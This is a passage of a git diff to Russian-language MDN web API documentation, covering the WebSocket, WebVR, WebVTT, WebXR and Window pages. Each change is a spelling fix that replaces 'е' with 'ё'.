текста (<strong>не</strong> символов). </dd> </dl> @@ -198,7 +198,7 @@ WebSocket WebSocket( <h3 id="send" name="send()">send()</h3> -<p>Передает данные на сервер через WebSocket - соединение.</p> +<p>Передаёт данные на сервер через WebSocket - соединение.</p> <pre class="eval">void send( in DOMString data @@ -224,7 +224,7 @@ void send( <dl> <dt><code>INVALID_STATE_ERR</code></dt> - <dd>Соединение еще не открыто.</dd> + <dd>Соединение ещё не открыто.</dd> <dt><code>SYNTAX_ERR</code></dt> <dd>Строка <code>data</code> содержит непарные суррогаты</dd> </dl> @@ -252,7 +252,7 @@ void send( <h2 id="See_also" name="See_also">Пример</h2> -<pre class="brush: js"><code>// Создает WebSocket - подключение. +<pre class="brush: js"><code>// Создаёт WebSocket - подключение. const socket = new WebSocket('ws://localhost:8080'); // Соединение открыто diff --git a/files/ru/web/api/websockets_api/index.html b/files/ru/web/api/websockets_api/index.html index 7b0156b5a7..83672bc3d4 100644 --- a/files/ru/web/api/websockets_api/index.html +++ b/files/ru/web/api/websockets_api/index.html @@ -10,7 +10,7 @@ tags: translation_of: Web/API/WebSockets_API original_slug: WebSockets --- -<p><strong>Веб-сокеты</strong> это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причем этот процесс будет событийно-управляемым.</p> +<p><strong>Веб-сокеты</strong> это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причём этот процесс будет событийно-управляемым.</p> <div class="cleared row topicpage-table"> <div class="section"> diff --git a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html index d5729bf6a4..7a6e602c2c 100644 --- a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html +++ b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html @@ -58,7 +58,7 @@ WebSocket WebSocket( <h3 id="Примеры">Примеры</h3> -<p>Этот простой пример создает новый WebSocket, подключаемый к серверу <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. В данном примере в конструктор сокета в качестве дополнительного параметра передается пользовательский протокол "protocolOne", хотя эта часть может быть опущена.</p> +<p>Этот простой пример создаёт новый WebSocket, подключаемый к серверу <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. В данном примере в конструктор сокета в качестве дополнительного параметра передаётся пользовательский протокол "protocolOne", хотя эта часть может быть опущена.</p> <pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne"); </pre> diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html index e53532700d..a1dd13cbc9 100644 --- a/files/ru/web/api/webvr_api/index.html +++ b/files/ru/web/api/webvr_api/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/WebVR_API <h2 id="Концепция_и_использование">Концепция и использование</h2> -<p>Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено {{domxref("VRDisplay")}} объектом.</p> +<p>Любые VR-устройства, подключённые к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено {{domxref("VRDisplay")}} объектом.</p> <p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p> @@ -60,7 +60,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("VREyeParameters")}}</dt> <dd>Предоставляет доступ ко все информации, необходимой для корректного отображения сцены для каждого заднего глаза, включая информацию о поле зрения.</dd> <dt>{{domxref("VRFieldOfView")}}</dt> - <dd>Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.</dd> + <dd>Представляет поле зрения, определённое четырьмя различными значениями степени, описывающими представление из центральной точки.</dd> <dt>{{domxref("VRLayerInit")}}</dt> <dd>Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.</dd> <dt>{{domxref("VRStageParameters")}}</dt> @@ -84,7 +84,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt> <dd>Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является <code>true</code>).</dd> <dt>{{domxref("Navigator.getVRDisplays()")}}</dt> - <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов, представляющих любые доступные VR-дисплеи, подключенные к компьютеру.</dd> + <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов, представляющих любые доступные VR-дисплеи, подключённые к компьютеру.</dd> </dl> <h4 id="Window_события">Window события</h4> @@ -93,7 +93,7 @@ translation_of: Web/API/WebVR_API <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt> <dd>Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоборот (когда {{event("vrdisplaypresentchange")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplayconnect")}}</dt> - <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd> + <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключён совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt> <dd>Представляет обработчик событий, который будет запускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).</dd> <dt>{{domxref("Window.onvrdisplayactivate")}}</dt> diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html index 78aed3b7b7..51cdf502b8 100644 --- a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html +++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/WebVR_API/Using_the_WebVR_API <ul> <li>Устройство с поддержкой VR. <ul> - <li>Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li> + <li>Самым дешёвым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li> <li>Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на <a href="https://webvr.info/">webvr.info</a>.</li> </ul> </li> diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html index 11db07532a..1927c7927f 100644 --- a/files/ru/web/api/webvtt_api/index.html +++ b/files/ru/web/api/webvtt_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/WebVTT_API Никогда не пейте жидкий азот. 00:05.000 --> 00:09.000 -- Это пробьет ваш желудок. +- Это пробьёт ваш желудок. - Вы можете умереть. </pre> @@ -73,7 +73,7 @@ translation_of: Web/API/WebVTT_API <h3 id="Внутренняя_структура_файла_WebVTT">Внутренняя структура файла WebVTT</h3> -<p>Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> +<p>Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p> <pre class="notranslate">WEBVTT @@ -171,7 +171,7 @@ video::cue(b) { <p>В данном примере фоном видео будет серый градиент, с цветом текста <code>papayawhip</code>. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет <code>peachpuff</code>.</p> -<p>Фрагмент HTML, приведенный ниже, отображает видео.</p> +<p>Фрагмент HTML, приведённый ниже, отображает видео.</p> <pre class="brush: html notranslate"><video controls autoplay src="video.webm"> <track default src="track.vtt"> diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html index 913ea6fcf9..7a1ce319e1 100644 --- a/files/ru/web/api/webxr_device_api/index.html +++ b/files/ru/web/api/webxr_device_api/index.html @@ -95,7 +95,7 @@ translation_of: Web/API/WebXR_Device_API <dl> <dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt> - <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.</dd> + <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонён, если контекст не может быть настроен для работы с WebXR.</dd> </dl> <h2 id="Руководства_и_уроки">Руководства и уроки</h2> diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html index 1273c5de18..757ea14c3b 100644 --- a/files/ru/web/api/window/beforeunload_event/index.html +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/beforeunload_event --- <div>{{APIRef}}</div> -<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.</span></p> +<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все ещё виден, и событие в этот момент может быть отменено.</span></p> <table class="properties"> <tbody> diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html index 860ba52331..c4b4dc2357 100644 --- a/files/ru/web/api/window/close/index.html +++ b/files/ru/web/api/window/close/index.html @@ -33,7 +33,7 @@ function closeOpenedWindow() { <h3 id="Закрытие_текущего_окна">Закрытие текущего окна</h3> -<p>В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p> +<p>В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдёт; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)</p> <pre class="brush: js">function closeCurrentWindow() { window.close(); diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html index fc1cf46867..c5cbbd98df 100644 --- a/files/ru/web/api/window/closed/index.html +++ b/files/ru/web/api/window/closed/index.html @@ -39,7 +39,7 @@ if (window.opener && !window.opener.closed) { <h3 id="Обновление_ранее_открытого_всплывающего_окна">Обновление ранее открытого всплывающего окна</h3> -<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.</p> +<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно ещё не было открыто или пользователь его закрыл, открывает новое окно.</p> <pre class="brush:js">var popupWindow = null; diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html index d6fac2ad19..6901458922 100644 --- a/files/ru/web/api/window/console/index.html +++ b/files/ru/web/api/window/console/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/console --- <p>{{ APIRef }}</p> -<p>Свойство <strong><code>window.console</code></strong> дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p> +<p>Свойство <strong><code>window.console</code></strong> даёт доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html index f103f43f97..e70c15e507 100644 --- a/files/ru/web/api/window/crypto/index.html +++ b/files/ru/web/api/window/crypto/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Window/crypto --- <p>{{APIRef}}</p> -<p>{{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p> +<p>{{domxref("Window.crypto")}} даёт доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html index bd901523fb..9b1900a74e 100644 --- a/files/ru/web/api/window/frameelement/index.html +++ b/files/ru/web/api/window/frameelement/index.html @@ -31,7 +31,7 @@ if (frameEl) { <h2 id="Notes" name="Notes">Примечания</h2> -<p>Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <code><object></code> и других встраиваемых элементов.</p> +<p>Заметьте, что несмотря на своё имя, свойство также работает для документов внутри <code><object></code> и других встраиваемых элементов.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html index 85080b7fa7..bb728217ab 100644 --- a/files/ru/web/api/window/getcomputedstyle/index.html +++ b/files/ru/web/api/window/getcomputedstyle/index.html @@ -17,11 +17,11 @@ translation_of: Web/API/Window/getComputedStyle <dd>Строка указывающая на найденный псевдо-элемент. Опускается (или <code>null</code>) для не псевдо-элементов.</dd> </dl> -<p>Возвращенный <code>style</code> живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.</p> +<p>Возвращённый <code>style</code> живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.</p> <h2 id="Выводы">Выводы</h2> -<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.</p> +<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчёта каких-либо значений, которые могут быть.</p> <h2 id="Пример">Пример</h2> @@ -73,7 +73,7 @@ var style = window.getComputedStyle(elem1, null); <h2 id="Описание">Описание</h2> -<p>Возвращенный объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code><style></code> элемента или внешней таблицы стилей). Объект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p> +<p>Возвращённый объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code><style></code> элемента или внешней таблицы стилей). Объект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p> <p>Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например <code>#text</code> выдаст ошибку).</p> diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html index c70c51e40c..e8f6f3fa73 100644 --- a/files/ru/web/api/window/getselection/index.html +++ b/files/ru/web/api/window/getselection/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/getSelection var selObj = window.getSelection(); alert(selObj); var selRange = selObj.getRangeAt(0); - // вернет диапазон Range + // вернёт диапазон Range }</pre> <h2 id="Notes" name="Notes">Заметки</h2> @@ -34,7 +34,7 @@ translation_of: Web/API/Window/getSelection <p>В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр является объектом, функцией со своими методами и свойствами.</p> -<p>В приведенном выше примере <code>selObj.toString() автоматически задействуется, когда мы передаем в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод <code>toString(), как тут:</code></p> +<p>В приведённом выше примере <code>selObj.toString() автоматически задействуется, когда мы передаём в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод <code>toString(), как тут:</code></p> <pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre> @@ -49,7 +49,7 @@ translation_of: Web/API/Window/getSelection <p>Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).</p> -<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}} - это то, что вернется элемент, который выделен (focused) .</p> +<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}} - это то, что вернётся элемент, который выделен (focused) .</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html index fb679f5282..130637f6d3 100644 --- a/files/ru/web/api/window/history/index.html +++ b/files/ru/web/api/window/history/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/history --- <p>{{ APIRef }}</p> -<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).</p> +<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещённые в текущей вкладке или фрейме, который был загружен на текущей странице).</p> <p>Смотрите <a href="/ru/docs/Web/API/History_API">Управление историей браузера</a> для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов <code>pushState()</code> и <code>replaceState()</code>, о которых вы должны быть в курсе перед их использованием.</p> @@ -22,11 +22,11 @@ history.go(-1); // эквивалент history.back(); <h2 id="Замечания">Замечания</h2> -<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперед".</p> +<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперёд".</p> <p>По причинам безопасности объект <code>History</code> не позволяет непривилегированному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.</p> -<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривилегированного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p> +<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперёд" из непривилегированного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html index 38048b3bfa..ad213b866e 100644 --- a/files/ru/web/api/window/index.html +++ b/files/ru/web/api/window/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Window <p><span class="seoSummary">Объект <code>window</code> представляет собой окно, содержащее DOM документ; свойство <code>document</code> указывает на <a href="/en-US/docs/DOM/document">DOM document</a>, загруженный в данном окне.</span> Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.</p> -<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p> +<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имён объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p> <p>В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект <code>window</code> (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Работа с окнами в chrome коде</a>). Таким образом, объект <code>window</code> не разделяется между разными вкладками в одном и том же окне. Некоторые методы, а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяется для всего окна и не принадлежат объекту <code>window</code> отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.</p> @@ -27,7 +27,7 @@ translation_of: Web/API/Window <dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt> <dd>Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.</dd> <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt> - <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.</dd> + <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчёркиванием более не доступен для Web-содержимого.</dd> <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> <dd>Возвращает XUL контроллер объектов для текущего окна chrome.</dd> <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt> @@ -77,7 +77,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> <dd>Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd> <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.</dd> + <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчёта скорости преобразования.</dd> <dt>{{domxref("Window.name")}}</dt> <dd>Получает/устанавливает имя для окна.</dd> <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt> @@ -154,7 +154,7 @@ translation_of: Web/API/Window <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt> <dd>Возвращает булевское значение, указывающее является ли текущий контент безопасным (<code>true</code>) или нет (<code>false</code>).</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt> - <dd>Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)</dd> + <dd>Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока ещё не существует, поэтому не может быть использовано в браузерах.)</dd> </dl> <h2 id="Методы">Методы</h2> @@ -169,9 +169,9 @@ translation_of: Web/API/Window <dt>{{domxref("Window.blur()")}}</dt> <dd>Убирает фокус с окна.</dd> <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt> - <dd>Позволяет отменить колбэк-функцию прежде чем определить расписание ее вызова с {{domxref("Window.requestIdleCallback")}}.</dd> + <dd>Позволяет отменить колбэк-функцию прежде чем определить расписание её вызова с {{domxref("Window.requestIdleCallback")}}.</dd> <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt> - <dd>Регистрирует окно, которое будет перехватывать все события определенного типа.</dd> + <dd>Регистрирует окно, которое будет перехватывать все события определённого типа.</dd> <dt>{{domxref("Window.clearImmediate()")}}</dt> <dd>Отменяет повторяющееся исполнение, установленное с помощью <code>setImmediate</code>.</dd> <dt>{{domxref("WindowTimers.clearInterval()")}}</dt> @@ -195,15 +195,15 @@ translation_of: Web/API/Window <dt>{{domxref("Window.focus()")}}</dt> <dd>Устанавливает фокус на текущем окне.</dd> <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Переходит на один документ вперед в текущей истории окна.</dd> + <dd>Переходит на один документ вперёд в текущей истории окна.</dd> <dt>{{domxref("Window.getAttention()")}}</dt> <dd>Заставляет мигать иконку приложения.</dd> <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Window.getComputedStyle()")}}</dt> - <dd>Получает подсчитанные стили для определенного элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.</dd> + <dd>Получает подсчитанные стили для определённого элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.</dd> <dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt> - <dd>Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.</dd> + <dd>Получает подсчитанные стили по умолчанию для определённого элемента, игнорируя авторские стили.</dd> <dt>{{domxref("Window.getSelection()")}}</dt> <dd>Возвращает выбранный объект, представляющий выбранный элемент(ы).</dd> <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> @@ -215,11 +215,11 @@ translation_of: Web/API/Window <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt> <dd>Минимизирует окно.</dd> <dt>{{domxref("Window.moveBy()")}}</dt> - <dd>Сдвигает текущее окно на определенное значение.</dd> + <dd>Сдвигает текущее окно на определённое значение.</dd> <dt>{{domxref("Window.moveTo()")}}</dt> - <dd>Сдвигает окно до определенных координат.</dd> + <dd>Сдвигает окно до определённых координат.</dd> <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие <code>MozBeforePaint,</code> прежде чем произойдет перерисовка .</dd> + <dd>Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие <code>MozBeforePaint,</code> прежде чем произойдёт перерисовка .</dd> <dt>{{domxref("Window.open()")}}</dt> <dd>Открывает новое окно.</dd> <dt>{{domxref("Window.openDialog()")}}</dt> @@ -229,15 +229,15 @@ translation_of: Web/API/Window <dt>{{domxref("Window.print()")}}</dt> <dd>Открывает Print Dialog для распечатки текущего документа.</dd> <dt>{{domxref("Window.prompt()")}}</dt> - <dd>Возвращает текст, введенный пользователем в диалоге подсказки.</dd> + <dd>Возвращает текст, введённый пользователем в диалоге подсказки.</dd> <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt> - <dd>Возвращает окно с захваченных событий определенного типа.</dd> + <dd>Возвращает окно с захваченных событий определённого типа.</dd> <dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt> <dd>Удаляет обработчик события из окна.</dd> <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt> <dd>Позволяет назначить расписание задачи во время периода простоя браузера.</dd> <dt>{{domxref("Window.resizeBy()")}}</dt> - <dd>Меняет размер текущего окна на определенное число.</dd> + <dd>Меняет размер текущего окна на определённое число.</dd> 